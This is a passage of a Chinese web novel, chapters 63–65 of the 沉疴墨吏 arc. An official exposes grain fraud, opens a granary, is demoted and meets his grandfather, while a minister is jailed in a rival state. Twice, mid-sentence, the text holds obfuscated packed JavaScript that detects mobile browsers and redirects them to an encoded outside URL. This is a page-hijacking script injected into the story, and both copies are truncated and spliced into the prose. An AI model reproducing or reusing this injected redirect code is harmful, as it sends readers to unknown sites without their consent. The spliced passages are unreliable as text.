陈京观应声说了句话,示意平芜掏出一串吊钱丢给了掌柜,那掌柜一见他是个爽快人,立刻又换上了笑脸,连忙准备着去给陈京观打包。 “慢着,如今这粮是我的了,我是不是能翻了?” 掌柜的笑容凝结在脸上,转而是额头冒出来的虚汗。 陈京观没有理会他的表情,伸手从米袋子的最深处抓了一把,果不其然,下面的米大多是反潮的陈米。 “你标的价格,是户部定的新米价,可是你卖给我的,是去年甚至前年的陈米。” 陈京观的语气不容置疑,那掌柜一看碰上了硬茬,立刻将怀里还没捂热的钱丢给平芜,嘴里念叨着“不卖了不卖了”,转身就准备收拾打烊。 “买定离手,概不退换,这是你说的。” 陈京观说话时指着旁边的牌子,那掌柜的脸一瞬间就绿了,他推着陈京观往外走,却被席英突然拔出来的剑吓住了,一屁股坐到了地上。 “走吧,随我去一趟官府。” “这廊州哪有官府?连知州都跑了,哪儿还有官府?” 地上的人发着抖,但是依旧虚张声势地冲陈京观吼道,而一直立在陈京观身边沉默不语的丛愈来见情况不对,立刻大口训斥道。 “大胆!你眼前的就是本州新上任的知州!” 63.沉疴墨吏(五) 刚才因为日光昏暗,掌柜的没有认出眼前的丛愈来,如今听到他的声音,一时间,那掌柜也来不及分辨真假,只像个扎了孔的面袋子,瞬间瘪了下去。 “不去官府也行,但你需要一五一十和我说清楚这米的来源。” 陈京观说着,向眼前的人伸出手来,那掌柜的犹豫了一下攀着他的手站起身,又重新把店里的煤油灯点亮,随后几个人围在一个小桌子旁,将掌柜的逼在了最里面。 “说吧,到底是牢狱之灾还是将功补过,全凭你的选择。” 陈京观换了姿势靠在背后的米袋子上,一只胳膊搭着,另一只手在桌上似有似无地敲着节奏。 “想必大人在来鄙店之前已经去过其他两条街了,那您该看见了,新米的价格可是我们着陈米的两倍还不止,一般人家根本吃不起,我们也就是想着大家都能吃饱饭,才寻到个关系开了这家粮铺。” 掌柜的话说到这连自己也觉得虚伪,可是他还是硬着头皮说了下去。 “廊州的粮是官家的粮,而每年新产的是有定数的,按理说宫里那几张嘴吃不下这么多,可是上面的人要收,我们又能怎么办?我们只能勒紧裤腰带过活啊。” 掌柜的一边说一边抹着泪,他旁边的平芜摸了摸鼻子,那掌柜的就收起了自己装腔作势的一套动作。 “但我也说了,他们吃不完。于是乎每年交上的粮有一多半都是在官仓里囤着,明面上说以备不时之需,可是景州也有地,他们那又不是年年都会被烧,怎么可能用得着我们廊州的粮。” 陈京观听到了景州粮仓失火的事,眉毛不禁颤动了一下,但是他没说话,示意那掌柜的继续。 “那些陈米就每年都在仓里堆着,只能等着第二年起仓的时候,官家再吩咐人把它们处理掉。那都是实打实的粮食,他们不能这么糟践粮食!更何况,那都是从我们嘴里抢出来的。” 掌柜的话越说越激动,丛愈来的脸色就越难看,他是负责司农司对账的,虽说他不管征收,但是百姓家里没有粮,他心里一清二楚。 “所以你们就发展了这样一条产业?捡了官府扔掉的粮掺了新粮挂出来卖?你这叫以次充好,是扰乱市场。” 陈京观说话时冷着一张脸,那掌柜的后背早就被汗浸湿,他咽了口唾沫,也不敢再狡辩。 “那奇怪了,其他店里的新粮是从哪里来的?按你说的,百姓自己都不够吃,他们断然不会再私下里卖粮,那另外两条街上的几个大铺子,他们从哪里提货?” 掌柜的没说话,而是转身往柜台里探身,翻找了半天才从里面掏出一个本子。 “这是官粮的定价。虽说官粮明着说不允许买卖,可那只是一般人买不起,也没有渠道可以买。再说了,我们要交地税,即便饿死,我们也不能没了地。” 陈京观闻言,苦笑着揉着太阳穴的位置,他原本是不打算查的,可是证据就这样推到自己面前了,岂有就此放过的道理。 他翻着手上的簿子,从十年前开始,廊州的征粮点就提到了七个点,要说这个点数乍一看其实可以接受,但是征完粮还要征土地税,这相当于变相将点数提到了九个点,余下的,基本上也就是一家三口两三个月的口粮。 而那册子再往后翻,就能看到其中清晰记载着历届市买司司丞的名字,与之相匹配的,是每一个在廊州任职过的知州,只有一个名字被黑笔圈了起来,史忠。 “史忠,没有参与过?” 陈京观说话时没有抬头,掌柜也不好分辨他的意思,就只能照实说:“史刺史任职七年,从未参与过。” 丛愈来瞧了陈京观一眼,又小心翼翼地用余光打量着册子上的名字,毫无例外,他们任期一到不是去了阙州,就是辞官归隐,基本上找不到任何行踪。 “也就是说这件事情寻不到根源了,大家不过都是来捞一把油水就跑,现在想找个人证都找不到?” 掌柜听得出陈京观说这句话时已经愠怒十足,便不敢贸然吱声,只是在陈京观看向自己时点了头。 “这手段果然更高级。” 陈京观自言自语着,将手里的簿子递给了掌柜,而后又开口道。 “你去捡这些粮的时候没人看到?” 掌柜的摇头,但是又有些犹豫地说:“应该没有,我做这生意三年了,每年都是入仓的夜里去寻,要是被人盯上了,估计用不着您来抓我,我已经被刺史抓走了。” 掌柜露出几分羞涩,但是陈京观的注意力不在此。 这很奇怪,既然官仓每年能盛这么多米,那么应该会有更妥帖的手段处理,随便将它们丢弃在野外,这太冒失了,很容易被人抓到把柄。 除非,是有人故意这么做的。 陈京观心里已经有了想法,便也不打算再难为这个掌柜,他责令其恢复正常市价,并且向百姓坦白自己卖的是陈米。 对于前一条掌柜虽然有些肉疼,但也还是应下了,而后一条他却有些欲言又止。 “你想说什么就说。” “知州您觉得,这些来买米的人当真不知道我卖的是什么?大家不过是为了填报肚子,一起装傻充愣罢了。” 掌柜的话说完,将手里的册子重新归置整齐,他没有再理会看着自己的陈京观,反而是向他摆手示意自己要关门了。 “丛司丞,您说她要这么多钱干嘛呢?” 丛愈来不敢轻易开口,而陈京观叹了一口气揉了揉有些酸胀的太阳穴,招呼着大家往回走。 丛愈来托说家中妻女还在等着自己,便从岔路口与陈京观分开,他走后平芜跑到陈京观身边,将憋了一下午的话说了出来。 “师兄,这个案子不好查,比茶税还难查,当时你有关策帮助,可现在史忠并不像会配合你的样子。而且这是个没头没尾的案子,要想根除,咱们还得回阙州去。” 平芜的意思陈京观明白,他点头应了一声没说话,等着他们走到家门口时看到史如在院门口徘徊,陈京观喊了他一声,史如就小跑着过来。 “少将军,昨日哥哥不是那个意思,他只是说话少根筋,人不坏的。” 史如低着头说话,而陈京观的笑声就在他头顶响起,他抬头时看见陈京观脸上那不明所以的笑,突然有些责怪自己的唐突。 “当然少将军您大人有大量,自当不会与我们计较。我今日来就是为了我自己个心安,没别的意思。” 史如作势就要往回走,陈京观却拦住了他的去路。 “你很怕你哥哥?” 史如点了点头,又补充道:“是尊重,师长说兄友弟恭。” 陈京观没有回答他,半晌才开口问了一句:“你的师长是苏扬?” 史如摇头道:“我生得晚,来不及拜入苏大学士门下,我的师长是这天下所有有学问的人。少将军那日说的我认为不错,我尊天下为师,受天下之真理。” 史如说这话时露出几分骄傲的神情,背挺得很直,满脸笑意。 陈京观伸手拍了拍他的肩,嘴里的话思虑半天又吞了回去,最后只说了一句:“好好学,往后南魏的朝堂需要你。” 史如却摇了摇头,“南魏的朝堂不需要任何人,它是一台由人命推动的机器,只要南魏还有人,它就不会停下的。” 史如的这番论调是陈京观平生第一次听到,他越发觉得眼前的人神奇,他想邀请史如进门坐坐,可史如却推脱着说:“只有不速之客才在夜里登门。” 他这话一出,陈京观身后的平芜和席英都尴尬地咳嗽了一声,但是史如不知道事情的始末,他只是按照自己的逻辑继续回答陈京观。 “我不求少将军单凭我这几句话就信任我,但是请您信任父亲。他不是个好官,却一直努力做个好人。我们只想安稳度日。” 史如说完就躬着身子行礼告退,他一走,平芜派出去调查史忠的人就从墙角走了过来。 信中所描绘的史忠和陈京观猜测的差不多,他甚至可以带入史如的样子去想象史忠,一样的不合群,却又一样的执拗。 不过信上还提到了一件事,史忠曾往阙州上书四次,每次都字字泣血,痛诉时任知州借官仓谋私,但是无一例外,全部被拦在了崇明殿外。 陈京观理解了丛愈来所说的,史忠的确将自己该做的都做到了,至于有没有用,他不在乎。 一个奇怪的人,陈京观当下对史忠下了定义,但是随后又从脑子里把这个词划掉了。 他应当再去登门一次。 不过不是此时。 可是第二日天刚亮,陈京观的府院门口就吵了起来,府兵犹豫着要不要通传, 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见陈京观没有搭话,那大娘就解释道:“今年廊州收成一般,往年遇到这种情况官府征粮都会降一个点,可是今年他们依旧按照七个点征收。我们把粮袋子都搬空了也凑不出来啊,我们辛苦了一年,到头来连自己的肚子都吃不饱,我们真的活不下去了。” 大娘的话一说完,其他人就附和着哭诉。 这种场面陈京观已经见了许多了,但是从未像这次一样无能为力。 他手里没有粮,他也变不出粮,他甚至抓不到罪魁祸首,而且他到任时今年的官粮刚好征收结束,他即使要更改政令,也只能等着下一年再说。 他面前的是一盘死棋。 跪在地上的人见陈京观不为所动,纷纷左顾右盼起来,他们有不少受过陈京观的恩惠,可正因为见识过他的威力,才觉得他此时的沉默异乎寻常。 “少将军,也不要我们了吗?” 不知是不是大娘的怂恿,那跪在地上的小孩带着哭腔问道。 如果此时跪在陈京观面前的是读过书的,他会试图和他们讲道理,但是面对百姓,这一招行不通。 此时在他们眼中,就是陈京观见死不救。 但陈京观要怎么救,再起兵打了官仓? “各位先请回吧,粮仓之事重大,并非我一人能决断,还请乡亲们给我些时间。” 跪在地上的人本来还不打算离开,可是陈京观已经转身回了屋内,他们跪了一会没意思了,也三三两两撤了回去。 “他们这是在逼你。” 席英的话在陈京观耳边响起,刚才她有好几次都想要拔剑,但是陈京观没说话,她也不好做什么。 这些人就是吃准了陈京观的性子,所以忍了十几年却在今日忍不住了。 要说困难,没有哪个年程会比水患之时困难,可在陈京观起势之前,廊州一直风平浪静,纵使饿殍遍野,他们也从未想过要去刺史府上闹。 席英此时也明白了,什么叫做救得了人,却救不了命。 “可是他们能怎么办,除了下跪,什么也做不了。你当时不也一样?” 陈京观的话说完,席英握着刀的手有些颤抖。 是啊,自己当初下跪,难道不是为了逼陈京观留下自己? 席英想到这里有些无奈地笑了,随之也突然泄了气。 “那怎么办?任由他们一次次闹?你这次要让宁师傅为你兜底还是去找陆少主?” 席英的话毫不留情面,陈京观本来坐在椅子上扣手,听了她的话一个没注意撕烂了自己食指上的皮肤。 “是啊,我都是凭别人给我兜底的,我又怎么去给他们兜底。” 看到陈京观有些颓唐,席英又觉得自己刚才的话说重了,刚想开口解释,陈京观却摆了摆手拦住了她。 “这一路我都是靠着大家走过来的。其实能到这个地步,我很感谢你们。只是我就是这样一个人,我既然坐到这个位置上了,他们还信我,我就得为他们做些什么。” 陈京观说完起身回到自己的里屋,再出来时他穿戴整齐,不过他没有去史忠的府上,而是径直去了官仓。 64.沉疴墨吏(六) 陈京观大开仓门,除却他自己算好的数目以外,几乎将粮仓里所有的余粮都搬到了门口。 那是整个廊州的大日子,各家各户拖家带口的往官仓跑,生怕自己去迟了赶不上这一波老天爷赏饭的机会。 陈京观就在粮仓门口站了一天,他笑着迎来送往,看着自己背后的官仓渐渐变空,其实他做这一切的时候脑袋也是空的。 要说他还想着什么,只有席英那句。 他们这是在逼你。 陈京观又何尝不知,他这一路做了很多事,表面上他做出的选择,可背后推手是谁,他不好说。 是陈频?是萧霖?亦或者是百姓? 唯独不是他自己。 他深知这一切得来不易,也知道此举将会给他带来什么,可是他下意识的就是冲去粮仓,然后喂饱这些愿意来求自己的人。 就连这个选择是不是他自己做的,他也不知道。 他能想清楚很多问题,可是唯独这件事,当它在今早突然出现在陈京观脑海中时,他属实被吓了一跳。 那些抱着大包小包粮食的人在离开时对着陈京观叩头感谢,他有些麻木地挨个回礼,然后等着太阳的降临,以及自己任性后应当付出的代价的到来。 他直到离开廊州时,依旧没有见过史忠。 不过史忠却从两个儿子口中得到了截然不同的陈京观的形象,史若说他生性乖张,史如却称赞他性情纯良。 但是史忠的决定不会因为两个儿子的评价而发生改变,他默许陈京观开仓放粮,随后一道折子直抵通政司,递到了萧霖的手中。 这也是萧霖第一次记起廊州还有史忠这样一号人物。 他看着折子上对陈京观私放官粮一事的描述,而他手边还放着陈京观自己的自白书。 两者几乎没有什么差别,唯一不同的是史忠在书写时似乎有所收敛,着重笔墨提到了廊州征粮的不合理,对于陈京观的所作所为只是一笔带过,而陈京观详细叙述了自己查到的,以及查不到的,结尾处落笔: “来都来了,不如让我做点事吧。” 萧霖手上拿着这封自白书在书房来回踱步,期间无论是关策或者周湘,所有来找他的人一律被拦到了门外。 不过陈京观这个举动有蒋铎做前车之鉴,即使萧霖重拿轻放崇宁也无从辩驳,可他此刻最想知道的是,陈京观到底在想什么。 陈京观这样做事,让蒋铎想到了陈频。 萧霖希望陈京观能改变什么,却不希望他依照陈频的方式殉道。 十日后,萧霖的圣旨传到了廊州,酌降陈京观为崇州丰水县县丞,即刻启程。 陈京观谢过了来传旨的内侍,开始着手做离开的准备,由于在廊州没待几日,他这次基本上是原封不动将阙州的行李又搬上了马车。 不过他临走时把房子留给了丛愈来,没给他房契,但是让他安心住着,说是给他们的中秋贺礼。 真到了他离开的日子,依旧是夹道欢送,火热程度不亚于他以往的每次赴任。但是这一次他坐在马车里没有露面,就连平芜也随着他沉默地坐着,直到车程过半,他才看着假寐的陈京观问道。 “你究竟想要什么?” 陈京观没回答,头歪着靠在窗户旁,九月的秋风正是飒爽,他隔着那缦帘看着窗外一闪而过的风景,一句话也说不出来。 他以为自己能够接受被一次次被调离,但是当他收到去崇州的圣旨,他发现自己离最初的路线越来越远了。 他甚至找不到再回去的机会。 当他选择为人臣的时候,他手里的刀就钝了。 广梁水患其实是上天在帮他,给了他一个恰合时宜的机会,让他可以寻一个名正言顺的由头,可若再来一次,若没有那场水患,他要等到何时? 这个问题放在现在也是如此。 他要等到何时再回去,又将用什么样的手段? 事情发展到这个地步,其中属于陈京观自己的意志的部分已经没有了,唯一能支撑他继续的就是崇宁还没死。 对,崇宁还没死。 “我想让她死,我想改变这一切。” 平芜看着依旧微闭双眼的陈京观,抿了抿嘴继续问道:“你有主意了?” 陈京观摇头,“没有,但是只要让我活着,她就得死。” 平芜有些不理解陈京观此时的状态,而一旁的席英开口道。 “所以你想清楚了?” 陈京观犹豫了着点头,道:“或许吧。当日你说我靠着师父和陆栖野替我兜底,是,没错。但是我一步步走到今天,我该想的不是愧疚,而是如何不辜负。” 陈京观顿了一下,继续道:“就如同我选择开仓放粮,我只是不想辜负那些百姓的信任。即使我知道他们是在绑架我,可这也是我之前所做的给了他们希望。选择或许不是我真心的,但是结果我应当承受。我不该给了人希望,再亲手把它毁掉。” “至于未来,”陈京观望着眼前的两个人,“我不后悔我做的所有决定,我现在能做的是寻一条新路。” 陈京观此时所说的,其实就是席英想要表达的意思,但是奈何她当时一时情急,能想到的只有锋利的话语。 但是她的话陈京观自然会明白,她知道他会知道。 “那你现在有什么打算?” 平芜按照自己的理解吸收着陈京观的话,但是他最关心的还是未来,毕竟他不想让自己的哥哥白死。 “我们就去做一做这八品县丞。顺便,去看看他。” 只是陈京观两次被贬的消息传到其他人耳中时,他们却不像陈京观一样的淡定。 离陈京观三百里外的崇州,江阮的手上是陈京观被贬的始末,来送信的人躬着腰候在他身边,而江阮越往下看,眉头就皱得越紧。 看罢,他伸手把纸条扔进了面前的炉火,然后又把手往袖子里缩了缩。 “他是什么反应?” “离开阙州的时候没什么异常,但是离开廊州的时候我没看到他。” 江阮嘴角微微抽动,“我还以为你也什么都不在乎呢。” “那我们要管吗?” 等在一旁的人大气不敢喘,江阮这副表情连他也很少看到,唯一一次见到,是江阮从姚康的府院出来时。 “不管。他这些事情做的一气呵成,丝毫没有让我插足的意思。我倒要看看他究竟想干什么。” 等着的谍子领会到了其中的意思,可他刚准备离开时却被江阮叫住。 “姚康那边准备的怎么样了?” 谍子微微一顿,上前靠近江阮小声说道:“他的意思是再等等,不过依我看,他在等您的消息。您不说话,他不敢做什么。” 谍子的话当然有恭维的成分,但是江阮很了解这个叔叔,他胆小懦弱,难成大器。 在江阮眼里,他唯一的用处就是同他留着一样的血。 “那就让他等着。告诉他一声,快了,做好准备。” 谍子收了命令就躬身退下,而江阮瞧着那窜起来的火苗,一点点将陈京观的名字焚烧殆尽,到最后只留下“崇州”二字。 “我果然还是没看透你。也罢,来了我的地盘,我有的是时间。” 另一边的陈京观,这条去崇州的路他走了十八天,他一路走着,离崇州越近,心里就越乱。 他想明白了他要做什么,但是没想明白他能做什么,以及若要去拜会温叔让时,他又能说些什么。 拉着他的马车一直走到丰水县县衙才停下,他没有直接迈步下去,而是用手指挑起轿帘看了看。 窗外已经是午后黄昏,丰水县毗邻泯川江,他只是坐在此处,就好似能听到滔滔江水奔流向南。 不过同样是边境,崇州的治安比景州好很多。或许是处于三国边境的缘由,东亭的残余势力不敢在北梁的凌州有所动作,而崇州也就沾了凌州的光,换来了相对和平。 只是毕竟与朔州只有一江之隔,崇州吸纳了很多东亭的文化习俗,其中也包括东亭的人。 泯川三界,画舫随流。依山傍水,香染重楼。 这里是整个南魏乃至整个大州歌舞艺妓最盛行的地方。 陈京观想到了霜栽。 她所在的泯川楼,是南魏数一数二的红楼,里面的女子分三等,一等为妓,才貌双全,通常作为楼内的门面出现,二等为娼,身无所长唯有娇俏,这类人是楼内收入的主要来源,第三等,则叫嬤,通常是上了岁数又不愿意离开红楼的教坊姑姑。 陈京观派人打听过,霜栽最初是先被卖到了廊州,偶然间被泯川楼的一位嬤瞧见,不知道用了什么手段便把她带到了崇州,后来她们就住在了泯川楼。 至于这位嬤姓甚名谁,陈京观一点消息也找不到,不过他觉得就是霜栽所说的那位姑姑。 如今他到了崇州,虽说任着官职,可是连连降级后大家终是有些小看他,盯在他身上的眼睛就少了很多,他的行动倒是自由了。 他想着,心里便把泯川楼也提上日程。 “少将军?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655463|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>轿子外有人轻声试探道,陈京观放下手中的纱帘倾身走出去,看到一个上了年岁的老仆等在县衙门口。 “您有事?” 陈京观没有质疑此人的身份,也没有在乎他能直接认出自己,作为曾经盛极一时的人突然跌入泥潭,大家早就把他的传闻当作茶余饭后的笑料了。 “我家老爷请您去一趟,说是您若没有选好住所,不妨先在府上住些时日。” 温叔让,陈京观此时脑海中能想到的唯一还会挂念自己的人。 “知州的府院应当在明阳县,与我丰水县还有些距离,我平日上工不方便。” 陈京观还没有想好如何面对温叔让,可是眼前的老仆却伸手递上来一封信。 “老爷猜到您会推辞,嘱咐我将东西给您就行,至于您去不去,看您。” 说罢,那老仆举了一躬后转身离开。 陈京观手上抓着信封,那厚度应当不止是一封信,他犹豫了几秒,小心翼翼地撕了个口子。 “让我见见你,好吗?” 信上只有寥寥数语,其余的是一些粮票和一张写了地址的纸条。 那些粮票用九个红包包裹的很好,每一个上面都写了“祝吾孙长乐”。 陈京观拿着东西的手有些抖,平芜看出了他的异样,招呼着府兵们先将一些公务书信搬去县衙,然后自己上前探出一个脑袋看了一眼。 “师兄,去吗?” 陈京观没做声,将手里的东西重新塞回那个信封,然后贴身收了起来。 “快些收拾吧,不然我们还得去做不速之客。” 那天是陈京观这十年来第一次见到母亲的画像,温叔让支走了所有人,拉着他去了自己的书房,他身上有很浓的中药味,这让陈京观想到了弥留时分的苏扬。 但是温叔让看起来身体还算康健,他把自己这些年写给温家姐妹,写给陈频,写给陈京观的所有信都拿了出来,那些信堆在桌子上比萧霖的奏折累得还高。 “我逢年过节就给你们写信,院里的人都回家了,我刚好能抽出空来。” 温叔让说话时温和地笑着,他笑起来的时候和陈京观很像,与其说陈京观像温润,倒不如说他像温叔让。 除却陈频身上那几分高傲,陈京观几乎和温叔让是一个模子里刻出来的。 陈京观一晚上几乎没怎么说话,温叔让一直小心地拉着他的手叫他“豫儿”,他的手爬满了褶皱,不知什么缘故,陈京观还看到了几条疤痕。 不知道是不是陈京观的错觉,他觉得温叔让也很怕他,或者说是一种不知所措。 他说话时一直盯着陈京观腰间的玉佩,眼窝里泪水蓄满了却不曾流出来一滴,他的声音就如同门外的秋风,凛冽中带着不容置疑。 这是他在刑部待了半辈子的后遗症,陈京观心里想着,又想起了那本《刑文录》。 “您,”陈京观突然开口,温叔让说到一半的话便咽进了肚子,“知道一切的原委对吗?” 温叔让放在陈京观手上的手慢慢抽了回来,他今晚避开的话题被陈京观提了起来,他只能点头道:“知道。” “所以你是怪我对吗?” 还没等陈京观继续说话,温叔让又说道,他说这句话是看着陈京观的眼睛,他的眼睛已经红了,但是脸上还带着笑。 “我不怪您,您已经做了能做的一切。最起码您活着,还有人能同我一起在清明的时候给他们烧纸。” 陈京观说完回了温叔让一个微笑,可是温叔让的眼泪却在此时流出来了。 “那你,为何不让我知道你还活着?” 陈京观的喉咙也有些哽咽,他反握住温叔让的手。 “因为直到几个月前我才知道,是母亲选择用招认换您活着。在那之前,”陈京观苦笑道,“您在我眼里,是大义灭亲,是贪生怕死。” 温叔让的眼泪顺着脖颈流入领口,陈京观伸手去给他擦,碰到他的时候,液体的温热和温叔让有些粗糙的皮肤让他神经紧张。 但是他说出口之后,心里反而好受多了。 “是萧霖告诉你的?” 陈京观点头,而温叔让没有立即答话,片刻后他叹了一口气,道:“那他不该再让你卷进来。” “是我自己来的,我想寻个真相。” 温叔让闻言笑着摇头,陈京观没有看懂他的意思,只看到他用手轻轻拍了拍自己的手,然后缓缓起身。 “以前受的委屈,我帮不上忙,可你既然来了崇州,那便算是回了家。” 65.沉疴墨吏(七) 陈京观在崇州还没站稳脚,远在禹州的陆栖野就被父亲一封急报叫回了家。 林均许下狱,被疑勾结苏扬向南魏通风报信。 这个罪名最难被驳倒的地方在于这个事情是存在,甚至证据都是充分的。 只是林均许给苏扬的信,被添油加醋的说成是因为林均许的告密,致使北梁吞并东亭一战备受阻力,从而造成了不必要的损失。 实事求是地说,林均许的信其实帮了北梁一把,他阻止南魏的介入。 但是事实在此时是最无关紧要的,说到底这一切都是别人为了整他的由头。 事情过去了十年,当时的人死的死,走的走,留下的人本就心乱如麻,此时的控告无疑是在回应他心中的声音。 你是罪人,无论对于陈频,还是对于北梁。 林均许在牢里小半个月,他也终于是体会到了陈频的处境,不过元衡不同于萧霖,他向来只相信自己的判断,在一切没有定论之前,林均许享受的依旧是丞相待遇。 而林朝槿在事发之前就有所察觉。 她住在陆家的宅子里,那几天陆晁看她的目光很奇怪,就连经常住在马场的陆栖野也搬回了家,他借由说提前准备中秋,可是往年的中秋他都是跟着父亲去军营过的。 事发之日,梅椿派人来报,说林均许被人带到了刑部大牢,陆栖野这才向林朝槿坦白了一切。 早在年初,孔肃一派的势头就不太对,后来孔肃凭借禹州军饷案升任御史中丞,他借机将自己的人安排进了昌安营,美其名曰替陆家分忧,实际上就是借着元衡对陆晁的怀疑安插了自己的人手。 至于禹州军饷案,陆晁甚至不知道他是什么时候就埋下的引雷,直到那个负责采购粮草的置买被抓时,他才知道原来马场也有孔肃的人。 以前的马场一直由陆韶怜管理,想要从她身边安插外人,只能借助元衡的手。 从那时起,陆晁就开始重新审视自己与元衡的关系,并且认清了他们之间君臣有别。 他以为过命的是兄弟,可他不该奢望能够与天子同命。 而陆晁毕竟还掌着兵权,想要轻易打倒他,必须要先找到能接替他的人。 就目前的北梁而言,没有人能撼动陆家的位置,这是元衡有所顾忌的地方,也是孔肃无法改变的现实。 于是孔肃将目标转向林均许。 在一个重武轻文的国度,即使官至丞相,他依然是靠笔杆子说话的人,他的权利和威严,仰仗的是上面人的施舍。 可是孔肃从何处得到了林均许的信,又是从何处得知何须就是苏扬,这一切除却陆林两家的人,就只有陈京观还知道。 “林叔。” 在林均许下狱的第七天,陆栖野托了元焕的关系见到了他,他在狱中的吃食全部由林家送进来,而他平日的笔墨纸砚也都整齐码在墙角。 唯一的问题是狱中见不到阳光,林均许每日只能守着一扇小窗分辨时间流逝,久而久之他像是长在墙角的蘑菇,逐渐萎靡。 “瑾儿还好吗?家里还好吗?” 林均许放下手中的笔,起身走到栏杆的旁边坐下,而陆栖野也随着他的动作躬下了腰。 “一切都好,只是目前我们寻不到证据能救您出来,恐怕您还得要在这待些日子。” 陆栖野的脸色不太好,他进来前想过林均许的样子,但是当他真的看见时还是觉得心疼。 年近半百的人被莫须有的罪名压着,纵使没有皮肉之苦,他挺着的腰也弯了。 “我没事,单凭那些信,他们定不了我重罪。只是皇上……” 林均许欲言又止,陆栖野进来的时候已经遣散看守的侍卫,如今他们附近没有眼线。 “元焕冬训快结束了,他终究要回来的。皇上的确到了要决断的时候。” 陆栖野的话刚说完,林均许就笑着摇头道:“这一切都只能他先开口,万不能由我们说。” 陆栖野一怔,他明白林均许的意思。 元焕是既定的继位者,可他也只是继位者,在一切没有尘埃落定之前,他还是臣子。 正因为他最有希望,元衡才不希望他这么快得到一切。 到了元衡的位置,除却他自己,任何人都是他的敌人。 “那你的意思是?” “任由孔肃闹腾,不要管我,我能留下一条命就很好了。你们要保全手里的兵,北梁,还是要靠拳头说话。” 陆栖野点头,然后从怀里拿出来一封信递给林均许。 “这是父亲给您的,您现在看完由我带走。” 林均许接过那张纸,久违地看到陆晁的名字,他难得的觉得心安。 “元衡起疑于我,这才连累你。你与何须的信已被悉数上缴,至于由何人获得,你可有想法?最近几日孔肃上书意图收回陆家马场,我已想好对策。栖野最近会与元焕取得联系,部分兵士将以借调的名义送去重山。如有可能,你可去沧州一避。” 陆晁的信很短,但是信息量很大,林均许看完后又将它折好交给了陆栖野。 “我要托你件事。” 陆栖野点头示意林均许继续。 “你想办法将你梅姨和两个小孩送去重山,最好也能让你哥哥将瑾儿接过去,阵仗不要太大。” “父亲的意思是让您离开?” 陆栖野这一年长进了很多,林均许的话一出他就品出了其中的意思。 “就看皇上让不让我走了。我其实很好奇,他是如何看待我的。” 林均许说话时苦笑着,他知道陆晁能给自己写信,势必是已经在运作将他送往沧州,但是七天了依旧没有音讯。 那道最后的旨意应当卡在元衡的手里。 他在想什么? 林均许几乎将一辈子奉献给了北梁,从一举夺魁后他的仕途便成了一条看似前景无限的坦途,可是他明白,他与陈频一样,很难善终。 他一步步走到丞相的位置,为北梁设置民户登记,规定市易法,免除兵户家的赋税,诸如此类的政令每一项都让他心力交瘁,可是他知道北梁如果想继续发展,有些沉疴旧疾必须要剔除。 这是他作为文官御史的使命,也是他为这个马上治天下的国家能做的所有。 而他所做的,势必会触动某些人的利益,可是他依旧愿意去做,因为他信任元衡。 同时他觉得元衡也是信任他的。 但是这七天,他回忆起了很多被自己忽略的伏笔,元衡默许他做这一切,为的是借他的手达到自己的目的。 其实换个人,如果也能做到的话,元衡也会支持他的。 并不是非他林均许不可。 想明白一切之后,一种悲凉油然而生,加之这暗无天日的牢狱之灾,林均许的政治热情随着他的生命力消耗殆尽。 “陆少主,时间差不多了,等一下巡守会来探班。” 墙角冒出来一颗脑袋,小侍卫趴在墙边喊着陆栖野。 “您的意思我会转达给父亲,您的嘱托我也定当全力以赴。您多珍重。” 林均许摆了摆手没有再说话,侧着身子让自己尽量照在那束几乎感觉不到的阳光之下。 陆栖野没有再多停留,他出门时想给小侍卫塞枚银子,却被眼前的小孩推脱掉了。 “陆将军于父亲有恩,您客气了。” 小侍卫笑着解释,随后在前头引着陆栖野从后门溜了出去。 其实只是在大狱中待了不到一个时辰,可是陆栖野好似许久没有呼吸一般,在出门的那一刻,新鲜空气冲入他的肺里,九月的秋风很凉,可是他贪婪地享受着自由。 片刻之后他镇静下来,摸了摸怀里那封信,那信上的内容父亲没有告诉他,但是凭借林均许刚才的反应,他已经猜出七八分。 他只是感觉唏嘘,同时他也理会到了陈京观费尽心机要回阙州报仇的缘故。 或许正是因为看到过父辈在如何努力的活,才会觉得他们的死是那般戏剧。 原来信任的建立和崩塌,真的只在一瞬间。 陆栖野缓过神来,从刑部后门绕回到前街,然后朝着林家宅子走去。 “梅姨,两个小家伙还在书院?” 梅椿看到陆栖野的时候有些恍惚,但是见他兴致不高的样子,也就知道他的来意。她点头应了一声:“总不能让外人觉得我们真不行了吧。” 陆栖野笑着安抚道:“我去见了林叔,他一切都好,他托您照顾好家,等着他回来。” 梅椿听到陆栖野提起林均许,眼眶又慢慢红了,没等陆栖野再说话,正屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们由林家的管家带着,一人拿着一串糖糕说笑着,林均许的事情林家上下都瞒着他们,为的也是不要让他们露出马脚。 陆栖野没有上前打招呼,而是侧身钻到了一条小巷子里,等着他们走远才出来。 此时此刻,林朝槿的话就回荡在陆栖野耳边,此刻轻举妄动就是打草惊蛇,他们要一举寻到根源。 陆栖野没有再作停留,回家将林均许所说的一切告诉了陆晁,并且安排了桑柘去茶楼打点。 陆晁自从辞去将军之职,每日便是陪着方荔在家侍花弄草,林均许出事之后他更是一同告假,有小半个月没去上朝。 “你此去重山,顺道将马场的伙计带上。” 陆栖野闻言有些困惑,但是陆超没有要解释的意思,他只好点头应道:“我尽量速战速决。” 闻言,陆晁却摇头笑着说:“不,你要跟着他们一起待在重山。” 陆栖野看着陆晁,眉头微微皱起,而陆晁身边的方荔突然开口:“那些信不是直接递上去的,而是由驿站送到宫门口,随着你哥哥的军报一起给了元衡。” 